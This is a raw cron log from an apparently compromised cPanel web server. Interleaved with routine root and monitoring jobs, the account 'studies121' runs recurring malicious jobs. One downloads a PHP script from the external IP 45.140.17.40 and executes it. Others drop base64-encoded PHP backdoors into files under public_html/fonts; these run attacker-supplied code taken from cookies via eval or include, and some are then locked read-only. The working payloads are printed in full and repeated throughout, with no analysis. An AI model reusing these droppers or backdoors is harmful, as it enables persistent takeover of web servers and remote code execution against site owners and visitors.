Sep  8 10:14:01 ip-184-168-122-23 CROND[30992]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 10:14:01 ip-184-168-122-23 CROND[30991]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:15:01 ip-184-168-122-23 CROND[31090]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 10:15:01 ip-184-168-122-23 CROND[31092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:15:01 ip-184-168-122-23 CROND[31093]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:15:01 ip-184-168-122-23 CROND[31095]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:15:01 ip-184-168-122-23 CROND[31096]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 10:15:01 ip-184-168-122-23 CROND[31098]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  8 10:15:01 ip-184-168-122-23 CROND[31099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:16:01 ip-184-168-122-23 CROND[31217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:16:01 ip-184-168-122-23 CROND[31218]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:16:01 ip-184-168-122-23 CROND[31223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:16:01 ip-184-168-122-23 CROND[31220]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:16:01 ip-184-168-122-23 CROND[31224]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 10:16:01 ip-184-168-122-23 CROND[31225]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 10:17:01 ip-184-168-122-23 CROND[31334]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:17:01 ip-184-168-122-23 CROND[31336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:17:01 ip-184-168-122-23 CROND[31337]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:17:01 ip-184-168-122-23 CROND[31338]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:18:01 ip-184-168-122-23 CROND[31440]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:18:01 ip-184-168-122-23 CROND[31441]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 10:18:01 ip-184-168-122-23 CROND[31442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:18:01 ip-184-168-122-23 CROND[31443]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:18:01 ip-184-168-122-23 CROND[31444]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:19:01 ip-184-168-122-23 CROND[31608]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:19:01 ip-184-168-122-23 CROND[31610]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:19:01 ip-184-168-122-23 CROND[31613]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:19:01 ip-184-168-122-23 CROND[31614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:20:01 ip-184-168-122-23 CROND[31744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:20:01 ip-184-168-122-23 CROND[31745]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 10:20:01 ip-184-168-122-23 CROND[31748]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:20:01 ip-184-168-122-23 CROND[31750]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:20:01 ip-184-168-122-23 CROND[31754]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 10:20:01 ip-184-168-122-23 CROND[31751]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:20:01 ip-184-168-122-23 CROND[31753]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 10:20:01 ip-184-168-122-23 CROND[31755]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 10:20:01 ip-184-168-122-23 CROND[31752]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 10:21:01 ip-184-168-122-23 CROND[31861]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:21:01 ip-184-168-122-23 CROND[31863]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:21:01 ip-184-168-122-23 CROND[31864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:21:01 ip-184-168-122-23 CROND[31865]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:22:01 ip-184-168-122-23 CROND[31950]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 10:22:01 ip-184-168-122-23 CROND[31952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:22:01 ip-184-168-122-23 CROND[31953]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:22:01 ip-184-168-122-23 CROND[31955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:22:01 ip-184-168-122-23 CROND[31957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:23:01 ip-184-168-122-23 CROND[32079]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:23:01 ip-184-168-122-23 CROND[32081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:23:01 ip-184-168-122-23 CROND[32083]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:23:01 ip-184-168-122-23 CROND[32082]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:24:01 ip-184-168-122-23 CROND[32186]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 10:24:01 ip-184-168-122-23 CROND[32187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:24:01 ip-184-168-122-23 CROND[32189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:24:01 ip-184-168-122-23 CROND[32192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:24:01 ip-184-168-122-23 CROND[32193]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:25:01 ip-184-168-122-23 CROND[32372]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:25:01 ip-184-168-122-23 CROND[32374]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:25:01 ip-184-168-122-23 CROND[32375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:25:01 ip-184-168-122-23 CROND[32377]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  8 10:25:01 ip-184-168-122-23 CROND[32376]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 10:25:01 ip-184-168-122-23 CROND[32381]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 10:25:01 ip-184-168-122-23 CROND[32382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:26:01 ip-184-168-122-23 CROND[32479]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:26:01 ip-184-168-122-23 CROND[32482]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 10:26:01 ip-184-168-122-23 CROND[32481]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:26:01 ip-184-168-122-23 CROND[32484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
